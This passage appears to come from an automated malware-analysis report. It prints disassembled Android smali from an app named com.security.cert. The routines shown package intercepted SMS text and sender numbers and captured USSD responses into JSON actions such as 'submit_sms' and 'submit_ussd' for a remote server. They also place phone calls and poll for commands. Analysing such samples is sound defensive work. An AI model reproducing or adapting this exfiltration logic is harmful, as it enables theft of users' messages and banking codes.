40 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
41 | move-result-object v3 | |
43 | invoke-virtual {v1}, Ljava/lang/NullPointerException;->getMessage()Ljava/lang/String; | |
44 | move-result-object v1 | |
46 | invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
47 | move-result-object v1 | |
49 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
50 | move-result-object v1 | |
52 | invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V | |
53 | iget v1, p0, Lcom/b/a/a/e;->f:I | |
54 | add-int/lit8 v1, v1, 0x1 | |
55 | iput v1, p0, Lcom/b/a/a/e;->f:I | |
57 | iget-object v3, p0, Lcom/b/a/a/e;->b:Lorg/apache/http/protocol/HttpContext; | |
59 | invoke-interface {v2, v0, v1, v3}, Lorg/apache/http/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILorg/apache/http/protocol/HttpContext;)Z | |
60 | move-result v1 | |
61 | goto/16 :goto_8 | |
62 | cond_53: new-instance v1, Ljava/net/ConnectException; | |
64 | invoke-direct {v1}, Ljava/net/ConnectException;-><init>()V | |
66 | invoke-virtual {v1, v0}, Ljava/net/ConnectException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable; | |
67 | throw v1 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "#" | |
3 | const-string v1, "#" | |
5 | invoke-static {v1}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String; |
|
6 | move-result-object v1 | |
8 | invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
9 | move-result-object v0 | |
10 | new-instance v1, Landroid/content/Intent; | |
12 | const-string v2, "android.intent.action.CALL" | |
13 | new-instance v3, Ljava/lang/StringBuilder; | |
15 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
17 | const-string v4, "tel:" | |
19 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
20 | move-result-object v3 | |
22 | invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
23 | move-result-object v0 | |
25 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
26 | move-result-object v0 | |
28 | invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
29 | move-result-object v0 | |
31 | invoke-direct {v1, v2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
32 | const/high16 v0, 0x3000 | |
34 | invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
36 | iget-object v0, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context; | |
38 | invoke-virtual {v0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
39 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v1, Lorg/json/JSONObject; | |
2 | invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V | |
3 | try_start_5: | |
4 | const-string v0, "action" | |
6 | const-string v2, "submit_sms" | |
8 | invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
10 | const-string v0, "user_id" | |
12 | invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String; | |
13 | move-result-object v2 | |
15 | invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
17 | const-string v0, "sender_phone_number" | |
19 | invoke-virtual {v1, v0, p1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
21 | const-string v0, "sms_text" | |
23 | invoke-virtual {v1, v0, p2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
24 | try_end_1f: new-instance v0, Lcom/security/cert/b/b/a/d; | |
26 | invoke-direct {v0}, Lcom/security/cert/b/b/a/d;-><init>()V | |
28 | invoke-static {p0, v1, v0}, Lcom/security/cert/a/a/a;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V | |
29 | return-void | |
30 | catch_28: move-exception v0 | |
32 | const-string v2, "ServerApi" | |
34 | invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String; | |
35 | move-result-object v0 | |
37 | invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
38 | goto/16 :goto_1f |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v1, Lorg/json/JSONObject; | |
2 | invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V | |
3 | try_start_5: | |
4 | const-string v0, "action" | |
6 | const-string v2, "submit_ussd" | |
8 | invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
10 | const-string v0, "user_id" | |
12 | invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String; | |
13 | move-result-object v2 | |
15 | invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
17 | const-string v0, "query" | |
19 | invoke-virtual {v1, v0, p1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
21 | const-string v0, "result" | |
23 | invoke-virtual {v1, v0, p2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
24 | try_end_1f: new-instance v0, Lcom/security/cert/b/b/a/d; | |
26 | invoke-direct {v0}, Lcom/security/cert/b/b/a/d;-><init>()V | |
28 | invoke-static {p0, v1, v0}, Lcom/security/cert/a/a/a;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V | |
29 | return-void | |
30 | catch_28: move-exception v0 | |
32 | const-string v2, "ServerApi" | |
34 | invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String; | |
35 | move-result-object v0 | |
37 | invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
38 | goto/16 :goto_1f |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
2 | move-result-object v1 | |
4 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
5 | move-result-object v2 | |
6 | try_start_8: | |
7 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
9 | invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V |
|
11 | iget-object v0, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder; | |
12 | const/4 v3, 0x2 | |
13 | const/4 v4, 0x0 | |
15 | invoke-interface {v0, v3, v1, v2, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z |
|
17 | invoke-virtual {v2}, Landroid/os/Parcel;->readException()V | |
19 | invoke-virtual {v2}, Landroid/os/Parcel;->readInt()I | |
20 | move-result v0 | |
21 | if-eqz v0, :cond_2c | |
23 | sget-object v0, Landroid/text/TextUtils;->CHAR_SEQUENCE_CREATOR:Landroid/os/Parcelable$Creator; | |
25 | invoke-interface {v0, v2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object; | |
26 | move-result-object v0 | |
27 | check-cast v0, Ljava/lang/CharSequence; | |
28 | goto_25: | |
29 | invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V | |
31 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
32 | return-object v0 | |
33 | cond_2c: const/4 v0, 0x0 | |
34 | goto/16 :goto_25 | |
35 | catchall_2e: move-exception v0 | |
37 | invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V | |
39 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
40 | throw v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
2 | move-result-object v1 | |
4 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
5 | move-result-object v2 | |
6 | try_start_8: | |
7 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
9 | invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V |
|
11 | invoke-virtual {v1, p1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V | |
13 | iget-object v0, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder; | |
14 | const/4 v3, 0x1 | |
15 | const/4 v4, 0x0 | |
17 | invoke-interface {v0, v3, v1, v2, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z |
|
19 | invoke-virtual {v2}, Landroid/os/Parcel;->readException()V | |
20 | try_end_1a: | |
21 | invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V | |
23 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
24 | return-void | |
25 | catchall_21: move-exception v0 | |
27 | invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V | |
29 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
30 | throw v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "Accept-Encoding" | |
3 | invoke-interface {p1, v0}, Lorg/apache/http/HttpRequest;->containsHeader(Ljava/lang/String;)Z |
|
4 | move-result v0 | |
5 | if-nez v0, :cond_f | |
7 | const-string v0, "Accept-Encoding" | |
9 | const-string v1, "gzip" | |
11 | invoke-interface {p1, v0, v1}, Lorg/apache/http/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V |
|
12 | cond_f: | |
13 | iget-object v0, p0, Lcom/b/a/a/b;->a:Lcom/b/a/a/a; | |
15 | invoke-static {v0}, Lcom/b/a/a/a;->a(Lcom/b/a/a/a;)Ljava/util/Map; | |
16 | move-result-object v0 | |
18 | invoke-interface {v0}, Ljava/util/Map;->keySet()Ljava/util/Set; | |
19 | move-result-object v0 | |
21 | invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator; | |
22 | move-result-object v2 | |
23 | goto_1d: | |
24 | invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z | |
25 | move-result v0 | |
26 | if-eqz v0, :cond_39 | |
28 | invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
29 | move-result-object v0 | |
30 | check-cast v0, Ljava/lang/String; | |
32 | iget-object v1, p0, Lcom/b/a/a/b;->a:Lcom/b/a/a/a; | |
34 | invoke-static {v1}, Lcom/b/a/a/a;->a(Lcom/b/a/a/a;)Ljava/util/Map; | |
35 | move-result-object v1 | |
37 | invoke-interface {v1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object; | |
38 | move-result-object v1 | |
39 | check-cast v1, Ljava/lang/String; | |
41 | invoke-interface {p1, v0, v1}, Lorg/apache/http/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V | |
42 | goto/16 :goto_1d | |
43 | cond_39: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
2 | move-result-object v1 | |
4 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
5 | move-result-object v2 | |
6 | try_start_8: | |
7 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
9 | invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V |
|
11 | iget-object v0, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder; | |
12 | const/4 v3, 0x4 | |
13 | const/4 v4, 0x0 | |
15 | invoke-interface {v0, v3, v1, v2, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z |
|
17 | invoke-virtual {v2}, Landroid/os/Parcel;->readException()V | |
18 | try_end_17: | |
19 | invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V | |
21 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
22 | return-void | |
23 | catchall_1e: move-exception v0 | |
25 | invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V | |
27 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
28 | throw v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v1, 0x0 | |
2 | invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
3 | move-result-object v3 | |
4 | try_start_5: | |
5 | invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
6 | move-result-object v0 | |
7 | if-eqz v0, :cond_16 | |
8 | new-instance v2, Lorg/apache/http/entity/BufferedHttpEntity; | |
10 | invoke-direct {v2, v0}, Lorg/apache/http/entity/BufferedHttpEntity;-><init>(Lorg/apache/http/HttpEntity;)V | |
12 | const-string v0, "UTF-8" | |
14 | invoke-static {v2, v0}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;Ljava/lang/String;)Ljava/lang/String; |
|
15 | try_end_15: move-result-object v1 | |
16 | cond_16: | |
17 | invoke-interface {v3}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
18 | move-result v0 | |
19 | const/16 v2, 0x12c | |
20 | if-lt v0, v2, :cond_38 | |
21 | new-instance v0, Lorg/apache/http/client/HttpResponseException; | |
23 | invoke-interface {v3}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
24 | move-result v2 | |
26 | invoke-interface {v3}, Lorg/apache/http/StatusLine;->getReasonPhrase()Ljava/lang/String; | |
27 | move-result-object v3 | |
29 | invoke-direct {v0, v2, v3}, Lorg/apache/http/client/HttpResponseException;-><init>(ILjava/lang/String;)V | |
31 | invoke-virtual {p0, v0, v1}, Lcom/b/a/a/f;->b(Ljava/lang/Throwable;Ljava/lang/String;)V | |
32 | goto_2e: return-void | |
33 | catch_2f: move-exception v0 | |
34 | move-object v2, v0 | |
35 | move-object v0, v1 | |
36 | check-cast v0, Ljava/lang/String; | |
38 | invoke-virtual {p0, v2, v0}, Lcom/b/a/a/f;->b(Ljava/lang/Throwable;Ljava/lang/String;)V | |
39 | goto/16 :goto_16 | |
40 | cond_38: | |
41 | invoke-virtual {p0, v1}, Lcom/b/a/a/f;->b(Ljava/lang/String;)V | |
42 | goto/16 :goto_2e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v0, 0x1 | |
1 | if-ne p1, v0, :cond_24 | |
3 | iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->b:Lcom/a/a/a/a; | |
4 | if-eqz v0, :cond_24 | |
5 | try_start_7: | |
6 | iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->b:Lcom/a/a/a/a; | |
8 | const-string v1, ":RETVAL;(" | |
10 | invoke-interface {v0, v1}, Lcom/a/a/a/a;->a(Ljava/lang/CharSequence;)Ljava/lang/CharSequence; | |
11 | move-result-object v0 | |
12 | if-eqz v0, :cond_24 | |
14 | invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String; | |
15 | try_end_14: move-result-object v0 | |
16 | try_start_15: | |
17 | const-string v1, "UTF-8" | |
19 | invoke-static {v0, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
20 | try_end_1a: move-result-object v0 | |
21 | try_start_1b: | |
22 | iget-object v1, p0, Lcom/security/cert/ui/UssdActivity;->c:Ljava/lang/String; | |
24 | invoke-static {v1}, Landroid/net/Uri;->decode(Ljava/lang/String;)Ljava/lang/String; | |
25 | move-result-object v1 | |
27 | invoke-static {p0, v1, v0}, Lcom/security/cert/a/a/c;->b(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V | |
28 | goto_24: | |
29 | invoke-virtual {p0}, Lcom/security/cert/ui/UssdActivity;->finish()V | |
30 | return-void | |
31 | catch_28: move-exception v0 | |
33 | invoke-virtual {p0}, Lcom/security/cert/ui/UssdActivity;->getLocalClassName()Ljava/lang/String; | |
34 | move-result-object v1 | |
36 | invoke-virtual {v0}, Landroid/os/RemoteException;->getMessage()Ljava/lang/String; | |
37 | move-result-object v0 | |
39 | invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I | |
40 | goto/16 :goto_24 | |
41 | catch_35: move-exception v1 | |
42 | goto/16 :goto_1b |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
2 | move-result-object v0 | |
3 | if-nez v0, :cond_7 | |
4 | goto_6: return-void | |
5 | cond_7: | |
6 | invoke-interface {v0}, Lorg/apache/http/HttpEntity;->getContentEncoding()Lorg/apache/http/Header; | |
7 | move-result-object v0 | |
8 | if-eqz v0, :cond_6 | |
10 | invoke-interface {v0}, Lorg/apache/http/Header;->getElements()[Lorg/apache/http/HeaderElement; | |
11 | move-result-object v1 | |
12 | array-length v2, v1 | |
13 | const/4 v0, 0x0 | |
14 | goto_13: if-ge v0, v2, :cond_6 | |
15 | aget-object v3, v1, v0 | |
17 | invoke-interface {v3}, Lorg/apache/http/HeaderElement;->getName()Ljava/lang/String; | |
18 | move-result-object v3 | |
20 | const-string v4, "gzip" | |
22 | invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
23 | move-result v3 | |
24 | if-eqz v3, :cond_30 | |
25 | new-instance v0, Lcom/b/a/a/d; | |
27 | invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
28 | move-result-object v1 | |
30 | invoke-direct {v0, v1}, Lcom/b/a/a/d;-><init>(Lorg/apache/http/HttpEntity;)V | |
32 | invoke-interface {p1, v0}, Lorg/apache/http/HttpResponse;->setEntity(Lorg/apache/http/HttpEntity;)V | |
33 | goto/16 :goto_6 | |
34 | cond_30: add-int/lit8 v0, v0, 0x1 | |
35 | goto/16 :goto_13 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "USSDDumbExtendedNetworkService" | |
2 | new-instance v1, Ljava/lang/StringBuilder; | |
4 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
6 | const-string v2, "getMmiRunningText: " | |
8 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
9 | move-result-object v1 | |
11 | iget-object v2, p0, Lcom/security/cert/services/d;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
13 | invoke-static {v2}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->b(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)Ljava/lang/String; | |
14 | move-result-object v2 | |
16 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
17 | move-result-object v1 | |
19 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
20 | move-result-object v1 | |
22 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
24 | iget-object v0, p0, Lcom/security/cert/services/d;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
26 | invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->b(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)Ljava/lang/String; | |
27 | move-result-object v0 | |
28 | return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v1, Lorg/json/JSONObject; | |
2 | invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V | |
3 | try_start_5: | |
4 | const-string v0, "action" | |
6 | const-string v2, "pong" | |
8 | invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
10 | const-string v0, "user_id" | |
12 | invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String; | |
13 | move-result-object v2 | |
15 | invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
16 | try_end_15: | |
17 | invoke-static {v1}, Lcom/security/cert/a/a/d;->a(Lorg/json/JSONObject;)V | |
18 | return-void | |
19 | catch_19: move-exception v0 | |
21 | const-string v2, "ServerApi" | |
23 | invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String; | |
24 | move-result-object v0 | |
26 | invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
27 | goto/16 :goto_15 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b; | |
2 | if-eqz v0, :cond_15 | |
4 | iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b; | |
6 | invoke-virtual {v0}, Lcom/security/cert/b/b/a/b;->a()Z | |
7 | move-result v0 | |
8 | if-eqz v0, :cond_2e | |
10 | iget-object v0, p0, Lcom/security/cert/a/a/b;->c:Landroid/content/Context; | |
12 | iget-object v1, p0, Lcom/security/cert/a/a/b;->d:Lorg/json/JSONObject; | |
14 | iget-object v2, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b; | |
16 | invoke-static {v0, v1, v2}, Lcom/security/cert/a/a/d;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V | |
17 | cond_15: | |
18 | const-string v0, "HttpClient" | |
19 | new-instance v1, Ljava/lang/StringBuilder; | |
21 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
23 | const-string v2, "failure: " | |
25 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
26 | move-result-object v1 | |
28 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
29 | move-result-object v1 | |
31 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
32 | move-result-object v1 | |
34 | invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
35 | return-void | |
36 | cond_2e: | |
37 | iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b; | |
39 | iget-object v1, p0, Lcom/security/cert/a/a/b;->c:Landroid/content/Context; | |
41 | iget-object v2, p0, Lcom/security/cert/a/a/b;->d:Lorg/json/JSONObject; | |
43 | invoke-virtual {v2}, Lorg/json/JSONObject;->toString()Ljava/lang/String; | |
44 | move-result-object v2 | |
46 | invoke-virtual {v0, v1, p1, p2, v2}, Lcom/security/cert/b/b/a/b;->a(Landroid/content/Context;Ljava/lang/Throwable;Ljava/lang/String;Ljava/lang/String;)V | |
47 | goto/16 :goto_15 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | instance-of v0, p1, Lorg/json/JSONObject; | |
1 | if-eqz v0, :cond_a | |
2 | check-cast p1, Lorg/json/JSONObject; | |
4 | invoke-virtual {p0, p1}, Lcom/b/a/a/i;->a(Lorg/json/JSONObject;)V | |
5 | goto_9: return-void | |
6 | cond_a: instance-of v0, p1, Lorg/json/JSONArray; | |
7 | if-eqz v0, :cond_14 | |
8 | check-cast p1, Lorg/json/JSONArray; | |
10 | invoke-virtual {p0, p1}, Lcom/b/a/a/i;->a(Lorg/json/JSONArray;)V | |
11 | goto/16 :goto_9 | |
12 | cond_14: new-instance v1, Lorg/json/JSONException; | |
13 | new-instance v0, Ljava/lang/StringBuilder; | |
15 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
17 | const-string v2, "Unexpected type " | |
19 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
20 | move-result-object v0 | |
22 | invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
23 | move-result-object v2 | |
25 | invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String; | |
26 | move-result-object v2 | |
28 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
29 | move-result-object v0 | |
31 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
32 | move-result-object v0 | |
34 | invoke-direct {v1, v0}, Lorg/json/JSONException;-><init>(Ljava/lang/String;)V | |
35 | const/4 v0, 0x0 | |
36 | check-cast v0, Lorg/json/JSONObject; | |
38 | invoke-virtual {p0, v1, v0}, Lcom/b/a/a/i;->a(Ljava/lang/Throwable;Lorg/json/JSONObject;)V | |
39 | goto/16 :goto_9 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService; | |
3 | invoke-static {v0}, Lcom/security/cert/services/CheckCommandsService;->a(Lcom/security/cert/services/CheckCommandsService;)Z | |
4 | move-result v0 | |
5 | if-nez v0, :cond_9 | |
6 | goto_8: return-void | |
7 | cond_9: | |
8 | iget-object v0, p0, Lcom/security/cert/services/a;->a:Landroid/app/PendingIntent; | |
10 | invoke-virtual {v0}, Landroid/app/PendingIntent;->send()V | |
11 | try_end_e: | |
12 | iget-object v0, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService; | |
14 | invoke-static {v0}, Lcom/security/cert/b/a/a;->c(Landroid/content/Context;)I | |
15 | move-result v0 | |
17 | iget-object v1, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService; | |
19 | invoke-static {v1}, Lcom/security/cert/services/CheckCommandsService;->c(Lcom/security/cert/services/CheckCommandsService;)Landroid/os/Handler; | |
20 | move-result-object v1 | |
22 | iget-object v2, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService; | |
24 | invoke-static {v2}, Lcom/security/cert/services/CheckCommandsService;->b(Lcom/security/cert/services/CheckCommandsService;)Ljava/lang/Runnable; | |
25 | move-result-object v2 | |
26 | mul-int/lit16 v0, v0, 0x3e8 | |
27 | int-to-long v3, v0 | |
29 | invoke-virtual {v1, v2, v3, v4}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z | |
30 | goto/16 :goto_8 | |
31 | catch_27: move-exception v0 | |
33 | const-string v1, "CheckCommandsService" | |
35 | invoke-virtual {v0}, Landroid/app/PendingIntent$CanceledException;->toString()Ljava/lang/String; | |
36 | move-result-object v0 | |
38 | invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
39 | goto/16 :goto_e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | if-eqz p4, :cond_7 | |
2 | const-string v0, "Content-Type" | |
4 | invoke-interface {p3, v0, p4}, Lorg/apache/http/client/methods/HttpUriRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V |
|
5 | cond_7: | |
6 | iget-object v0, p0, Lcom/b/a/a/a;->e:Ljava/util/concurrent/ThreadPoolExecutor; | |
7 | new-instance v1, Lcom/b/a/a/e; | |
9 | invoke-direct {v1, p1, p2, p3, p5}, Lcom/b/a/a/e;-><init>(Lorg/apache/http/impl/client/AbstractHttpClient;Lorg/apache/http/protocol/HttpContext;Lorg/apache/http/client/methods/HttpUriRequest;Lcom/b/a/a/f;)V | |
11 | invoke-virtual {v0, v1}, Ljava/util/concurrent/ThreadPoolExecutor;->submit(Ljava/lang/Runnable;)Ljava/util/concurrent/Future; | |
12 | move-result-object v1 | |
13 | if-eqz p6, :cond_30 | |
15 | iget-object v0, p0, Lcom/b/a/a/a;->f:Ljava/util/Map; | |
17 | invoke-interface {v0, p6}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object; | |
18 | move-result-object v0 | |
19 | check-cast v0, Ljava/util/List; | |
20 | if-nez v0, :cond_28 | |
21 | new-instance v0, Ljava/util/LinkedList; | |
23 | invoke-direct {v0}, Ljava/util/LinkedList;-><init>()V | |
25 | iget-object v2, p0, Lcom/b/a/a/a;->f:Ljava/util/Map; | |
27 | invoke-interface {v2, p6, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; | |
28 | cond_28: new-instance v2, Ljava/lang/ref/WeakReference; | |
